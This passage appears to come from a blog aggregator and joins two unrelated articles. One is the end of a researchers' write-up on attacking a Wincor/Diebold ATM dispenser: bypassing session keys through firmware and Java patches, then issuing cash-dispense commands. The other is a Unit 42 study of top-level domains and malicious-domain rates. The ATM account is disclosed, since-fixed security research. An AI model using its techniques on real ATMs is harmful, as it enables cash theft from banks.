No, not yet. Before getting the money, we had to figure out how to send commands to the dispenser. After digging into the Java code, we managed to find special JAR files responsible for self-test, that is, for testing the dispenser components. From this code, we managed to find out the following:

  1. A smartcard was involved in the interaction of the ATM computer and the dispenser (it had long been visible on the board).
  2. trusted platform module (TPM) was used.
  3. The keystorage was used to store session counters (read more below), certificates, and the basekey.
  4. There were four directions, each of which used its own session key and counter: PC → Firmware IN/OUT, Firmware → PC IN/OUT


The smartcard turned out to be an interesting object for research. I had never dealt with the APDU(the protocol used when communicating with smartcards), so I had to investigate. After that, I found a class responsible for working with a smartcard in Java software, from which I was able to extract most of the APDU commands. They could also be found in the firmware code, and then some other commands could be found by reference.

Armed with a smartcard reader, I bruteforced various commands and their parameters. Unfortunately, I discovered no big secrets. However, I did find commands that allowed setting our own session counter values (except for the values that had been already used before).

Session keys (no thanks)

In fact, this whole scheme with session keys, four directions of communication, the TPM, and keystorage did not cause anything but respect. The scheme was designed very skillfully. An attacker couldn’t just get into the traffic, repeat a captured session, or do something like that. Therefore, as a reverse engineer, I didn’t really want to get into the weeds.

As part of the project, we changed the firmware so that it stopped accessing the smartcard to get the session keys, using a dummy array of zeros instead.

Now we had to do the same in Java software, so as not to bother with writing code from scratch. By the way, it became clear for us from the code that the Aes-EAX encryption algorithm was used.


Here I would like to make an important remark: all the tests were still carried out on the dispenser controller board that was lying on my desk. And this meant that there were no peripheral devices and, accordingly, there was nowhere to get banknotes from. Therefore, when Alexei and I had full confidence that we would manage to withdraw cash, we went to the vendor’s laboratory to conduct the final tests. 

During these tests, it turned out that in order to withdraw the money, we needed to specify how much cash we had and in which cassettes and skip the configuration of devices that were not connected to the laptop (well, there were a lot of USB ports in the computer, and only two in the laptop).

Only after that, a command with the numbers of the cassettes and the number of banknotes we wished to withdraw could be sent to the dispenser. The ATM began to buzz merrily, preparing to share cash with fellow researchers, but… we never saw the money. We just didn’t know forgot that we needed to open the shutter. A second try — and we were holding a bunch of crisp banknotes (not real ones, of course, but special vendor bills) in our hands. Hurray!


The project was damn interesting! While doing it, we managed to work with new technologies, beep the speaker installed on the board, and, of course, withdraw cash. At the time of writing, the vulnerabilities (one in each device) have already been fixed by ATM manufacturer Diebold Nixdorf. They have the following identifiers (the identifiers in Mitre are also on the way):

·       BDU:2021-04967

·       BDU:2021-04968

That’s all, I guess. I would like to make special mention of Alexei’s work on the hardware part of the project as well as the dispenser board he purchased, which is still lying on my desk.🥳Playing the Astronomia song on a CMDv5 Wincor dispenser controller:

A Peek into Top-Level Domains and Cybercrime

A Peek into Top-Level Domains and Cybercrime

Original text by Janos Szurdi

Executive Summary

Top-level domains (TLDs), such as .com, .net, .xxx and .hu, sit at the highest level of the domain name system (DNS) naming hierarchy. When users want to acquire domain names (e.g., paloaltonetworks.com), typically, they need to register them under a TLD directly or one level lower (e.g., google.co.uk). Properties and policies of TLDs such as pricing, registration restrictions, security practices and the lexical similarity to other TLDs (.cm vs .com) influence how attractive criminals will find these TLDs for their endeavors.

Out of more than 1,000 TLDs, the top 25 TLDs (by number of malicious domains) account for more than 90% of all malicious domain names. While these 25 TLDs are not malicious, they are well-positioned to help mitigate malicious domain registrations. We find that TLDs offering free domain registration are among the top preferred TLDs for phishing domains. We hypothesize that the above-mentioned properties and policies play a germane role in making a TLD favorable for criminal enterprises.

When we explore TLDs with the highest rate of malicious domains, we find that six out of the top 10 are TLDs of developing countries. One especially disreputable TLD, .zw, is seven standard deviations above the average rate of malicious domains for a TLD. Surprisingly, we found that .zw and a few other TLDs have a bad reputation, at least partially, because domains in these TLDs are frequently compromised rather than registered with malicious intent. Another example is .pw, with over seven standard deviations above the average rate of phishing registrations. TLD reputation based on our research can be used as one of the features to decide whether a domain name is malicious or not.

Studying domains in TLDs specifically concocted for sensitive topics such as adult and gambling sites, including .xxx, .casino, .poker and .porn, we confirm that they host content expected given their TLDs. Using our External Dynamic List feature, Palo Alto Networks customers have the opportunity to block individual TLDs entirely when they deem them inappropriate, for example, by setting custom wildcard rules (e.g., *.xxx) to block adult and gambling TLDs identified in this blog.

Palo Alto Networks offers multiple security subscriptions, including Advanced URL Filtering and DNS Security, that can be used to block malicious and sensitive category domains, including those discussed in this blog.

Top-Level Domains and the DNS Ecosystem

We start with a brief introduction to the hierarchical structure of the domain name system and why we study top-level domains (TLDs).

The cumulative distribution of top-level domains across TLDs for several categories. The key inidcates a dotted blue line refers to the total, a red line indicates malicious, a pink line signifies malware, purple dashes represent phishing, dotted yellow lines mean C2, green dashes and dots represent grayware and brown dashes are for sensitive domains.

A domain name like unit42.paloaltonetworks.com consists of three parts. The .com part is the top-level domain (TLD), which is at the highest level of the DNS naming hierarchy. Usually, users looking to buy domain names can register under these TLDs. Domain names acquired by users are called registered domains. When Palo Alto Networks Inc. bought the second-level name paloaltonetworks in the .com namespace, it gained ownership of all names under paloaltonetworks.com. Therefore when Palo Alto Networks Inc. decided to form a sub-organization tasked with providing “the answer to the ultimate question of life, the universe and everything,“ it could freely create the third-level domain name unit42In this blog, the numbers presented are based on unique registered domain counts. For example, in the case of www.google.co.uk, we consider the third-level registered domain google.co.uk and not the second-level co.uk or fourth-level www.google.co.uk.

There are two main types of TLDs. Generic TLDs (gTLDs) are owned and operated by private companies or organizations and are regulated by the Internet Corporation for Assigned Names and Numbers (ICANN). Examples of gTLDs include .com, .xxx, and .google. Differently, country code TLDs (ccTLDs) are owned and regulated by countries (though often still operated by private companies). ccTLDs include domains such as .us, .cn, .de and .hu.

Organizations operating TLDs and maintaining records of registered domains directly under TLDs are called registries. These registries do not just manage domain names under TLDs, but in the case of gTLDs, they also determine the policies regarding pricing, necessary identity verification and restrictions on purchasing domain names. These policies impact how much criminals will favor a given TLD for abusive domain registrations. Free or cheap registration and lax policies make TLDs favorable for malicious behavior.

Studying TLDs can provide a better understanding of criminal preferences and where malicious domains reside. TLD reputation can aid us in deciding if a domain is malicious, and can be used to nudge the operators of ill-famed TLDs toward curbing some of the abuse. Additionally, we can identify TLDs created for certain sensitive topics such as adult entertainment and gambling that are best entirely blocked in certain use cases. For example, educational institutions likely want to block both adult and gambling TLDs.

Malicious Domains and TLDs


To understand both malicious and benign TLD usage, we use the fine-grained categories provided by our Advanced URL Filtering service. First, we only study domains categorized by the Advanced URL Filtering service, and we only consider registered domains (also called root domains). Additionally, we validate whether domains existed the past one year by checking zone files and passive DNS, and by issuing active DNS queries. We do not consider domains that we categorize as parked, insufficient content or unknown for our calculations. Further, when calculating reputation scores, we don’t consider domains sinkholed for preemptive measures as malicious. Finally, we only consider TLDs with at least a hundred domains, as smaller TLDs likely have policies in place restricting entities allowed to register domain names. This blog post is based on data collected on Oct. 7, 2021.

We study four malicious categories defined by Palo Alto Networks: malware, phishing, command and control (C2), and grayware. When we discuss malicious domains in general, we consider the union of these four malicious categories.

Next to malicious content, we examine domains registered to host sensitive content that might be illegal or inappropriate in a corporate setting, at educational institutions or for governments.

In our recommendations, we propose the blocking of these categories when deemed appropriate by our customers. The list of sensitive categories for the purpose of this blog includes Dynamic DNS, Abused Drugs, Adult, Gambling, Peer-to-Peer, Hacking, Questionable, Cryptocurrency, Proxy Avoidance and Anonymizers, and Copyright Infringement.

TLDs With the Highest Number of Malicious Domains

To study cybercriminals’ TLD preference, we first look at the number of unique malicious domains registered at each TLD. As expected, the direct count of malicious domains will be highest at TLDs such as .com, which is by far the most popular TLD – however, it only has an average ratio of malicious domains. Hence, such big TLDs are not considered malicious, though they still have a huge responsibility since some of them provide a home for a large fraction of all malicious domains. For example, nearly half of malicious domains are .com domains.

The structure of a domain name includes the top-level domain at the very end, the registered domain to the left of it and the third-level subdomain to the left of that. Arrows illustrate the positions of these elements in an example domain name.

In Figure 2, we look at the cumulative distribution of TLDs for the total number of domains registered, various malicious categories and sensitive domains. Having a small area under the curve (a “flat” curve) means that the domains are evenly distributed across TLDs for that category. The total domain line is the flattest curve compared to malicious and sensitive domains, implying that criminals prefer certain TLDs above others. For example, more than 99% of all C2 domains are concentrated at only 29 TLDs. At the same time, 99% of all domains are concentrated at 219 TLDs. Phishing – one of the most evenly distributed malicious categories – shows 99% of phishing domains concentrated at 92 TLDs.

Table 1. The biggest TLDs and their cumulative distribution (CD) for various categories

As mentioned earlier, the .com TLD is responsible for nearly half of all domains registered and subsequently also for nearly half of all malicious domains. This does not mean that the .com TLD is malicious, yet the operator of the .com TLD is uniquely positioned to help with clearing up malicious domain registrations. This is also true for other large TLDs such as .net, .org, .tk, .cn, .icu and .xyz.

In Table 1, we can also observe that TLDs like .pw, .ml, .club, .cf and .top are in the top 10 for certain types of abuse but are not among the top 10 largest TLDs, clearly signaling criminal preference. While the .xyz TLD is barely among the top 10 TLDs by total size, it is second only to the .com TLD in the number of phishing domains and has the highest number of grayware domains accommodated.

Conversely, some large TLDs such as .de and .uk are not present in the top 10 list for any malicious categories. Both of these TLDs have significantly below the average number of malicious domains, showcasing that a dutiful TLD registry can help curb abuse.

Half of the top 10 phishing TLDs are not in the top 10 TLDs by total size, providing evidence that phishers prefer some TLDs over others. By randomly sampling phishing domains at these five TLDs, we observe that they often target the brands of the largest tech companies, such as social networks, payment solutions, secure messaging apps and webmail providers. Phishing domains targeting brands fall into different domain squatting categories that we discussed in our cybersquatting blog post. We also find more generic phishing domains containing words like login, support and account. The third category of phishing domains is related to specific trending topics such as COVID-19. We did a deep dive into COVID-19 related domains when the pandemic was still relatively new.

Furthermore, some ccTLDs such as .pw and .tk have a glaringly high number of malicious domains registered, comparable to the population of these regions – or even higher. The .tk TLD also has more phishing domains registered than the population of Tokelau. If we compare the malicious domain to population ratio (the malicious domain per capita count) of these ccTLDs to Germany’s .de ccTLD, we find ratios that are hundreds or even hundreds of thousands times higher. For example, this ratio is 271,768, 2,373 and 610 times larger, respectively for .tk, .pw and .ws, compared to .de. Considering only phishing domains, the same ratio is 462,098 and 20,286 times larger for .tk and .pw than for .de.

Table 2. Comparing malicious domains and phishing domains per capita to .de, which has a relatively low incidence of malicious domains, to the more commonly abused TLDs .tk, .pw and .ws

One of the most fascinating stories in the domain name world is how .tk, the ccTLD of a small Pacific island called Tokelau, became one of the most populous TLDs in the world. Domain registrations contributed at one point one-sixth of Tokelau’s income. Their TLD became popular by providing free domain registrations, where the source of income for the TLD operator is through advertisement rather than domain registration fees. Unfortunately, their domain registration policy also invites abuse, spam and a large amount of sensitive content, as we can observe in Table 1.

In fact, the TLDs .tk, .ga, .cf and .ml, all run by Freenom, appear on our list of top TLDs hosting phishing, and some of them also appear on our lists of top TLDs for other malicious categories. Freenom’s fifth TLD, .gq, also appears on our top sensitive category list and barely missed the top 10 for malicious categories. Of note, all these ccTLDs are owned by developing countries where the income from registered domains might outweigh the issues arising with malicious registrations. This is in contrast with a TLD like .de, where monetary loss from cybercrime dwarfs the revenue from domain registrations.

In addition to the TLDs offering free registrations, TLDs like .xyz and .icu follow another strategy by offering cheap domains – typically only a couple of dollars. Their pricing strategy has allowed them to become two of the most popular TLDs among benign and malicious users alike.

We confirm previous research showing that free or cheap domain registration leads to a high level of abuse. Additionally, the same paper found that restricted registration leads to a lower abuse rate. Other researchers have tried to devise registration policy strategies to decrease malicious registrations. Unfortunately, the domain naming ecosystem is complex, and far-reaching changes are not likely to occur in the near future.

TLDs With the Highest Rate of Malicious Domains

Table 3. The TLDs hosting the highest rate of malicious domains.

The MAD score is the median of the absolute deviation from the median. As shown in Table 3, we calculate the MAD score for the ratio of malicious to all domains in a TLD. We use the MAD score as a malicious reputation to compare TLDs to the median. MAD score is better to use than standard deviation when large outliers bias the average. For example, the .com TLD appears near average malicious when considering -0.06 standard deviation. However, the MAD score is 0.81, telling us that the .com TLD is more malicious than the median TLD.

In Table 3, we can find that some TLDs have a high proportion of malice, and they are rarely the same as top TLDs by count . A few TLDs have an extremely high ratio of malicious domains, such as .zw, .bd and .ke. The high rate of malice is unexpected for these TLDs, as registering a domain in them is four to 14 times more expensive than registering in the .com TLD. To our surprise, we found that a significant portion of the malicious domains in these TLDs are not registered with malicious intent but are compromised instead. The per capita GDP of these regions is 60 to 30 times lower than that of the U.S., which suggests a lower budget and less expertise for setting up websites in these TLDs. Consequently, we expect lower-quality websites – confirmed by inspecting random samples of domain names – and hence more security holes.

One interesting case is .cm, a top TLD for phishing (No. 12) and grayware (No. 6). We conjecture that criminals prefer .cm for phishing attacks due to its similarity to .com, making domains registered at this TLD less conspicuous in phishing attacks.

Sensitive TLD Categories

Table 4. Top category-specific TLDs for sensitive categories.

Next to malicious content, we at Palo Alto Networks track sensitive or risky categories organizations might want to block. For example, both educational and government institutions often prefer to block adult and gambling sites. Our customers can block entire TLDs using our External Dynamic List feature, such as the sensitive-category-specific TLDs .xxx and .casino.

In Table 4, we can note that several TLDs have a high proportion of domains in sensitive categories. Even though we track many sensitive categories, mostly adult and gambling TLDs made it to our top list of sensitive-category-specific TLDs. Another category frequent at certain TLDs is “Proxy Avoidance and Anonymizers,” common at TLDs such as .gq, .ga, .ml and .tk.


We observe that the vast majority of malicious domains can be found at a handful of TLDs, providing an opportunity to them to help with fighting cybercrime. We also find TLDs many MAD scores above the median, suggesting that we can devise a TLD reputation to help in classifying domain names as malicious or benign. We also confirmed TLDs specific to sensitive categories that our customers can block using our External Dynamic List.

Palo Alto Networks offers multiple security subscriptions, including Advanced URL Filtering and DNS Security, that can be used to block malicious and sensitive category domains, including those discussed in this blog.


We want to thank Arun Kumar, Daiping Liu, Erica Naone, Laura Novak and Oleksii Starov for their invaluable input on this blog post.